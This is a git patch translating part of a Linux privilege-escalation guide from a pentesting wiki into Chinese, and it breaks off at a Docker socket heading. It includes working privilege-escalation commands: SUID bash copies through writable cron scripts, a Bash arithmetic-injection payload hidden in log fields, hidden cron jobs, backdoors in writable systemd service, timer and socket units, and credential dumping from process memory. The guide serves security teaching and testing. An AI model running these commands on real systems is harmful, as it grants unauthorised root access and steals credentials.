From 175daa493c07394c4d17743e007b95f512fc69a7 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:50:18 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a --- .../privilege-escalation/README.md | 614 +++++++++--------- .../pentesting-web/spring-actuators.md | 118 +++- 2 files changed, 412 insertions(+), 320 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index a944cd6a5..37ba36c17 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## 系统信息 -### OS info +### 操作系统信息 -让我们开始了解正在运行的 OS。 +让我们开始了解正在运行的操作系统 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### 路径 -如果你**对 `PATH` 变量中任何文件夹具有写权限**,你可能能够劫持一些库或二进制文件: +如果你 **对 `PATH` 变量中任何文件夹具有写权限**,你可能能够劫持某些库或二进制文件: ```bash echo $PATH ``` ### 环境信息 -环境变量中有有趣的信息、密码或 API 密钥吗? +环境变量中有敏感信息、密码或 API 密钥吗? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查 kernel 版本,查看是否存在可用于 escalate privileges 的 exploit。 +检查内核版本,查看是否存在可用于 escalate privileges 的 exploit ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -你可以在这里找到一个很好的易受攻击的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -其他可以找到一些 **compiled exploits** 的网站: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +你可以在这里找到一个不错的漏洞内核列表以及一些 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 以及 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站提取所有易受攻击的内核版本,你可以执行: +要从该网站提取所有漏洞内核版本,你可以这样做: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -可用于搜索内核漏洞利用的工具有: +以下工具可用于搜索内核漏洞: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在受害主机上执行,仅检查针对内核 2.x 的漏洞利用) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在 victim 上执行,仅检测针对 kernel 2.x 的 exploits) -始终 **在 Google 上搜索内核版本**,可能你的内核版本出现在某个内核漏洞利用中,这样你就可以确定该漏洞利用是有效的。 +始终 **在 Google 上搜索内核版本**,也许你的 kernel version 写在某个 kernel exploit 中,这样你就能确定该 exploit 是否有效。 ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Sudo 版本 -基于出现在下列位置的易受攻击的 sudo 版本: +基于出现在以下位置的易受攻击的 sudo 版本: ```bash searchsploit sudo ``` -你可以使用这个 grep 来检查 sudo 版本是否存在漏洞。 +你可以使用这个 grep 检查 sudo 版本是否存在漏洞。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -查看 **smasher2 box of HTB**,获取一个 **示例**,了解该 vuln 如何被利用 +查看 **smasher2 box of HTB**,获取关于如何利用此 vuln 的 **示例**。 ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 列举可能的防御措施 +## 枚举可能的防御措施 ### AppArmor ```bash @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -如果你在 docker container 内部,你可以尝试从中逃逸: +如果你在 docker 容器内,你可以尝试从中逃逸: + {{#ref}} docker-security/ @@ -131,62 +132,62 @@ docker-security/ ## 驱动器 -检查 **哪些已挂载或未挂载**、在哪里以及为什么。如果有任何未挂载的项,你可以尝试挂载它并检查是否包含私密信息 +检查 **哪些已挂载和未挂载**、位置和原因。如果有任何未挂载的项,你可以尝试将其挂载并检查敏感信息 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 有用的软件 +## 有用软件 -列举有用的二进制文件 +枚举有用的二进制文件 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -此外,检查**是否已安装任何编译器**。如果你需要使用某些 kernel exploit,这一点很有用,因为建议在你将要使用它的机器上(或在一台类似的机器上)对其进行编译。 +另外,检查 **是否安装了任何 compiler**。如果你需要使用某些 kernel exploit,这很有用,因为建议在你将要使用它的机器(或在一台类似的机器)上进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 已安装的易受攻击软件 -检查 **已安装的软件包和服务的版本**。也许存在某些旧版 Nagios(例如)可被利用来进行 escalating privileges…\ -建议手动检查更可疑已安装软件的版本。 +检查**已安装的软件包和服务的版本**。可能存在一些旧版 Nagios(例如),可被利用以提升权限……\ +建议手动检查可疑已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -如果你有对该机器的 SSH 访问权限,也可以使用 **openVAS** 来检查机器内安装的过时或存在漏洞的软件。 +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _请注意,这些命令会显示大量大多无用的信息,因此建议使用 OpenVAS 或类似工具来检查已安装的软件版本是否易受已知漏洞利用的影响_ +> [!NOTE] > _注意:这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 或类似工具,来检查已安装的软件版本是否易受已知漏洞利用。_ ## Processes -查看正在执行的**哪些进程**,并检查是否有任何进程拥有**超出应有的权限**(例如 tomcat 由 root 执行?) +查看正在执行的 **哪些进程**,并检查是否有任何进程拥有 **超过其应有的权限**(例如由 root 执行的 tomcat?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\ +也要 **检查你对进程二进制文件的权限**,或许你可以覆盖某些文件。 ### 进程监控 -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这在识别频繁执行或在满足一组条件时被运行的易受攻击进程时非常有用。 ### 进程内存 -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +一些服务器服务会将 **credentials 以明文保存在内存中**。\ +通常你需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已经是 root 时更有用,用来发现更多 credentials。\ +但是,请记住,**作为普通用户,你可以读取你拥有的进程的内存**。 > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> 注意,如今大多数机器 **默认不允许 ptrace**,这意味着你无法 dump 属于其他非特权用户的进程。 > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. 这是 ptrace 传统的工作方式。 > - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID,**maps 显示该进程的内存如何映射到其** 虚拟地址空间;它还显示了 **每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过 **maps** 文件,我们可以知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息去 **seek into the mem file and dump all readable regions** 到一个文件。 +对于给定的进程 ID,**maps 显示了该进程的虚拟地址空间中内存如何被映射**;它还显示了 **每个映射区域的权限**。**mem** 伪文件 **暴露了进程的内存本身**。从 **maps** 文件我们可以知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息来 **seek into the mem file and dump all readable regions** 到一个文件中。 ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统的 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问.\ +`/dev/mem` 提供对系统 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ 通常,`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump 是对来自 Sysinternals 套件中经典 ProcDump 工具的 Linux 重新构想。可在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump 是对经典 ProcDump 工具(来自 Windows 的 Sysinternals 工具套件)在 Linux 上的重新构想。可从 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取 ``` procdump -p 1714 @@ -266,11 +267,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### 工具 -要转储进程内存你可以使用: +要 dump 进程内存,你可以使用: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储由你拥有的进程 -- Script A.5 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并 dump 你拥有的进程 +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) ### 从进程内存获取凭证 @@ -281,25 +282,25 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -你可以 dump the process(参见前文章节以找到不同的方法来 dump the memory of a process)并在 memory 中搜索 credentials: +你可以 dump the process(参见前面的章节以找到不同的方法来 dump the memory of a process)并在内存中搜索凭证: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会 **steal clear text credentials from memory** 并从一些 **well known files** 中窃取。它需要 root privileges 才能正常工作。 +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会 **从内存中窃取明文凭证** 并从一些 **常见文件** 中窃取。它需要 root 权限才能正常工作。 -| 功能 | 进程名 | +| 功能 | 进程名称 | | ------------------------------------------------- | -------------------- | | GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (活动 FTP 连接) | vsftpd | -| Apache2 (活动 HTTP Basic Auth 会话) | apache2 | -| OpenSSH (活动 SSH 会话 - Sudo 使用) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### 搜索正则表达式/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### 搜索正则/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## 定时/Cron 作业 +## 定时/Cron jobs -检查是否有任何定时作业易受攻击。也许你可以利用由 root 执行的脚本(wildcard vuln? 能否修改 root 使用的文件? 使用 symlinks? 在 root 使用的目录中创建特定文件?)。 +检查是否有任何定时任务存在漏洞。也许你可以利用由 root 执行的脚本 (wildcard vuln? 能修改 root 使用的文件吗? 使用 symlinks? 在 root 使用的目录中创建特定文件?) ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,143 +324,167 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron 路径 -例如,在 _/etc/crontab_ 中你可以看到 PATH:_PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例如,在 _/etc/crontab_ 中你可以找到 PATH:_PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意 "user" 用户对 /home/user 拥有写权限_) +(_注意 user 用户对 /home/user 有写权限_) -如果在这个 crontab 中 root 用户尝试在未设置 PATH 的情况下执行某个命令或脚本。例如: _\* \* \* \* root overwrite.sh_\ -然后,你可以使用以下方式获得 root shell: +如果在该 crontab 中 root 用户尝试执行某个命令或脚本但未设置 PATH。例如: _\* \* \* \* root overwrite.sh_\ +那么,你可以通过使用以下方法获得 root shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron 使用带通配符的脚本 (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -如果一个由 root 执行的脚本在命令中包含 “**\***”,你可以利用这一点做出意想不到的事情(例如 privesc)。示例: +如果由 root 执行的脚本在命令中包含 “**\***”,你可以利用它来引发意外行为(例如 privesc)。示例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果 wildcard 前面跟着类似** _**/some/path/\***_ **的路径,则不易被利用(即使** _**./\***_ **也是如此)。** +**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,它就不会被利用(甚至** _**./\***_ **也不会)。** -阅读以下页面以获取更多 wildcard 利用技巧: +Read the following page for more wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron 脚本覆盖与 symlink -如果你 **可以修改由 root 执行的 cron 脚本**,就可以非常容易地获得一个 shell: +### Bash 算术扩展注入在 cron 日志解析器中 + +Bash 在 ((...))、$((...)) 和 let 中,在算术求值之前会执行 parameter expansion 和 command substitution。如果一个以 root 身份运行的 cron/parser 读取不受信任的日志字段并将其传入算术上下文,攻击者可以注入一个 command substitution $(...),在 cron 运行时以 root 身份执行。 + +- Why it works: 在 Bash 中,expansions 的执行顺序为:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。因此像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),然后剩下的数字 `0` 被用于算术运算,脚本因此不会出错。 + +- Typical vulnerable pattern: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation: 让 attacker-controlled 的文本被写入被解析的日志,使看起来像数字的字段包含一个 command substitution 且以数字结尾。确保你的命令不向 stdout 输出(或将其重定向),这样算术运算仍然有效。 +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink + +如果你 **能修改一个由 root 执行的 cron script**,就可以非常容易地获得一个 shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的脚本使用一个 **你拥有完全访问权限的目录**,那么删除该文件夹并 **创建一个 symlink 目录指向另一个由你控制的脚本** 可能会很有用。 +如果由 root 执行的 script 使用了一个你拥有 **directory where you have full access**,删除该文件夹并 **create a symlink folder to another one**(指向你控制的 script)可能会很有用。 ```bash ln -d -s ``` -### Frequent cron jobs +### 频繁的 cron jobs -你可以监控进程,查找那些每隔 1、2 或 5 分钟执行一次的进程。或许你可以利用它来 escalate privileges。 +你可以监视进程以查找每隔 1、2 或 5 分钟执行的进程。也许你可以利用它来提升权限。 -例如,要 **在 1 分钟内每 0.1s 监控**、**按最少执行的命令排序** 并删除执行次数最多的命令,你可以执行: +例如,要 **在 1 分钟内每 0.1 秒监视一次**、**按执行次数较少排序命令** 并删除执行次数最多的命令,你可以执行: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (它会监视并列出每个启动的进程)。 +**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (这将监视并列出每个启动的进程)。 -### 不可见的 cron jobs +### 隐形 cron jobs -可以通过在注释后放置一个 carriage return(不带 newline character)来创建一个 cronjob,使得该 cron job 会生效。示例(注意 carriage return 字符): +可以创建一个 cronjob,通过**在注释后放置回车**(不带换行字符),cron job 仍然会生效。示例(注意回车字符): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## 服务 -### 可写 _.service_ 文件 +### 可写的 _.service_ 文件 -检查是否可以写入任何 `.service` 文件,如果可以,你**可以修改它**,使其**执行**你的**后门**,当服务**启动**、**重启**或**停止**时(也许你需要等待机器重启)。\ -例如在 `.service` 文件中通过 **`ExecStart=/tmp/script.sh`** 创建你的后门 +检查你是否可以写入任何 `.service` 文件,如果可以,你**可以修改它**,使其**在服务启动、重启或停止时执行你的 backdoor**(可能需要等待机器重启)。\ +例如,在 .service 文件中创建你的 backdoor,使用 **`ExecStart=/tmp/script.sh`** -### 可写的服务二进制文件 +### 可写的 service 二进制文件 -请记住,如果你对**被服务执行的二进制文件拥有写权限**,你可以将它们替换为后门,这样当服务被重新执行时,后门就会被执行。 +请记住,如果你对**由服务执行的二进制文件具有写权限**,你可以修改它们以植入 backdoor,这样当服务再次执行时,backdoor 就会被运行。 ### systemd PATH - 相对路径 -你可以使用以下命令查看 **systemd** 使用的 PATH: +可以使用以下命令查看 **systemd** 使用的 PATH: ```bash systemctl show-environment ``` -如果你发现自己可以对路径中的任一文件夹进行**write**,你可能能够**escalate privileges**。你需要搜索像下面这样的文件中是否使用了**relative paths being used on service configurations**: +如果你发现你可以在路径的任何文件夹中**写入**,你可能能够**提升权限**。你需要搜索在服务配置文件中使用的**相对路径**,例如: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后,在你有写权限的 systemd PATH 文件夹中创建一个 **executable**,其名称为 **与相对路径二进制文件同名**,当服务被要求执行易受攻击的操作(**Start**, **Stop**, **Reload**)时,你的 **backdoor 将被执行**(非特权用户通常无法启动/停止服务,但检查是否可以使用 `sudo -l`)。 +然后,在你可以写入的 systemd PATH 文件夹中,创建一个名称与相对路径二进制相同的 **可执行文件**,当服务被要求执行易受影响的动作(**Start**、**Stop**、**Reload**)时,你的 **backdoor** 将被执行(非特权用户通常无法启动/停止服务,但检查你是否可以使用 `sudo -l`)。 -**有关 services 的更多信息请参阅 `man systemd.service`.** +使用 `man systemd.service` 来了解有关服务的更多信息。 -## **Timers** +## **计时器** -**Timers** 是 systemd 单元文件,其名称以 `**.timer**` 结尾,用于控制 `**.service**` 文件或事件。**Timers** 可作为 cron 的替代方案,因为它们对日历时间事件和单调时间事件提供内置支持,并且可以异步运行。 +**计时器** 是 systemd 单元文件,其名称以 **.timer** 结尾,用于控制 **.service** 文件或事件。**计时器** 可以作为 cron 的替代,因为它们内建对日历时间事件和单调时间事件的支持,并且可以异步运行。 -你可以使用以下命令枚举所有 timers: +你可以使用以下命令枚举所有计时器: ```bash systemctl list-timers --all ``` -### 可写的 timer 单元 +### 可写计时器 -如果你可以修改一个 timer,你可以让它执行 systemd.unit 的一些现有单元(例如 `.service` 或 `.target`) +如果你可以修改一个计时器,你可以让它执行 systemd.unit 的某些现有单元(比如 `.service` 或 `.target`) ```bash Unit=backdoor.service ``` -在文档中你可以读到 Unit 是什么: +在文档中你可以读到什么是 Unit: -> 当此 timer 到期时要激活的 unit。参数是一个 unit 名称,其后缀不是 ".timer"。如果未指定,此值默认为一个与 timer 单元名称相同但后缀不同的 service。(见上文。)建议被激活的 unit 名称与 timer 单元的名称除了后缀外应一致。 +> 当此 timer 到期时要激活的 Unit。参数是一个 Unit 名称,其后缀不是 ".timer"。如果未指定,此值默认为与 timer unit 同名但后缀不同的 service。(见上文。)建议被激活的 Unit 名称与 timer Unit 的名称应除后缀外保持一致。 -因此,要滥用此权限,你需要: +因此,要滥用该权限,你需要: -- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的二进制文件** -- 找到某个 systemd unit 正在 **执行一个相对路径**,并且你对 **systemd PATH** 拥有 **可写权限**(以伪装该可执行文件) +- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的二进制** +- 找到某个 systemd unit,它 **执行相对路径**,并且你对 **systemd PATH** 拥有 **可写权限**(以冒充该可执行文件) -**通过 `man systemd.timer` 了解有关定时器的更多信息。** +**要了解更多关于 timer 的信息,请使用 `man systemd.timer`。** -### **启用定时器** +### **启用 timer** -要启用定时器,你需要 root 权限并执行: +要启用 timer,你需要 root 权限并执行: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意,**timer** 是通过在 `/etc/systemd/system/.wants/.timer` 创建一个指向它的 symlink 来 **激活** 的。 +注意,通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来激活 **timer**。 ## Sockets -Unix Domain Sockets (UDS) 在客户端-服务器模型中用于在同一台或不同机器之间实现 **进程间通信**。它们使用标准的 Unix 描述符文件进行主机间通信,并通过 `.socket` 文件进行配置。 +Unix Domain Sockets (UDS) 在客户端-服务器模型中实现同一台或不同机器上的**进程间通信**。它们使用标准 Unix 描述符文件进行主机间通信,并通过 `.socket` 文件进行配置。 -Sockets can be configured using `.socket` files. +Sockets 可以使用 `.socket` 文件进行配置。 -**Learn more about sockets with `man systemd.socket`.** 在该文件中,可以配置几个有趣的参数: +**使用 `man systemd.socket` 了解更多关于套接字的信息。** 在该文件中,可以配置几个有趣的参数: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体上用于 **指示将在哪监听**(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 地址和/或端口号等)。 -- `Accept`: 接受一个布尔参数。如果为 **true**,则会为每个传入连接启动一个 **service instance**,并且仅将该连接的 socket 传递给它。如果为 **false**,所有监听套接字本身会被 **传递给已启动的 service unit**,并且只为所有连接启动一个 service unit。对于 datagram sockets 和 FIFOs,此值被忽略,在这些场景下单个 service unit 无条件地处理所有传入流量。**默认值为 false**。出于性能原因,建议编写新的 daemon 时采用适用于 `Accept=no` 的方式。 -- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令会在监听的 **sockets**/FIFOs 分别被 **创建** 并绑定之前或之后 **执行**。命令行的第一个 token 必须是一个绝对文件名,后面跟随该进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 额外的 **命令**,会在监听的 **sockets**/FIFOs 被 **关闭** 并移除之前或之后 **执行**。 -- `Service`: 指定在 **incoming traffic** 时要 **激活** 的 **service** unit 名称。该设置仅允许用于 Accept=no 的 sockets。它默认指向与 socket 同名的 service(后缀被替换)。在大多数情况下,应该不需要使用此选项。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体用于**指示将监听的位置**(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 和/或端口号等)。 +- `Accept`: 接受一个布尔参数。如果为 **true**,则为每个传入连接生成一个**service instance**,并且只将连接 socket 传递给它。如果为 **false**,则所有监听 sockets 本身会**传递给启动的 service unit**,并且只为所有连接生成一个 service unit。对于 datagram sockets 和 FIFOs,此值被忽略,因为单个 service unit 会无条件地处理所有传入流量。**默认值为 false**。出于性能考虑,建议新守护进程以适合 `Accept=no` 的方式编写。 +- `ExecStartPre`, `ExecStartPost`: 接受一条或多条命令行,分别在监听的 **sockets**/FIFOs **创建并绑定之前**或**之后**执行。命令行的第一个标记必须是绝对文件名,后面跟进进程的参数。 +- `ExecStopPre`, `ExecStopPost`: 额外的**命令**,分别在监听的 **sockets**/FIFOs **关闭并移除之前**或**之后**执行。 +- `Service`: 指定在**有传入流量时**要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的 sockets。它默认使用与 socket 同名(后缀被替换)的 service。在大多数情况下,不应有必要使用此选项。 ### Writable .socket files -如果你发现一个**可写**的 `.socket` 文件,你可以在 `[Socket]` 区段的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的条目,backdoor 会在 socket 被创建前执行。因此,你**可能需要等到机器重启**。\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +如果你发现一个**可写的** `.socket` 文件,你可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,backdoor 会在 socket 被创建之前执行。因此,你**很可能需要等到机器重启**。\ +_注意:系统必须实际使用该 socket 文件的配置,否则 backdoor 不会被执行_。 ### Writable sockets -如果你**发现任何可写的 socket**(_此处指的是 Unix Sockets,而不是配置 `.socket` 文件_),则**可以与该 socket 通信**,并可能利用其中的漏洞。 +如果你**发现任何可写的 socket**(_这里指的是 Unix Sockets,而非配置文件 `.socket`_),那么**你可以与该 socket 进行通信**,并可能利用某个漏洞。 ### Enumerate Unix Sockets ```bash @@ -474,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**利用示例:** {{#ref}} @@ -483,48 +508,48 @@ socket-command-injection.md ### HTTP sockets -请注意,可能存在一些 **sockets listening for HTTP** requests(_我不是在说 .socket 文件,而是作为 unix sockets 的文件_)。你可以通过以下命令检查: +注意可能存在一些 **sockets listening for HTTP** 请求(_我不是在说 .socket files,而是那些作为 unix sockets 的文件_)。你可以用以下命令检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -如果该 socket **响应 HTTP 请求**,那么你可以 **与其通信** 并可能 **利用一些漏洞**。 +如果该 socket **responds with an HTTP** request,那么你可以 **communicate** with it,并且可能 **exploit some vulnerability**。 -### 可写的 Docker Socket +### 可写的 Docker socket -The 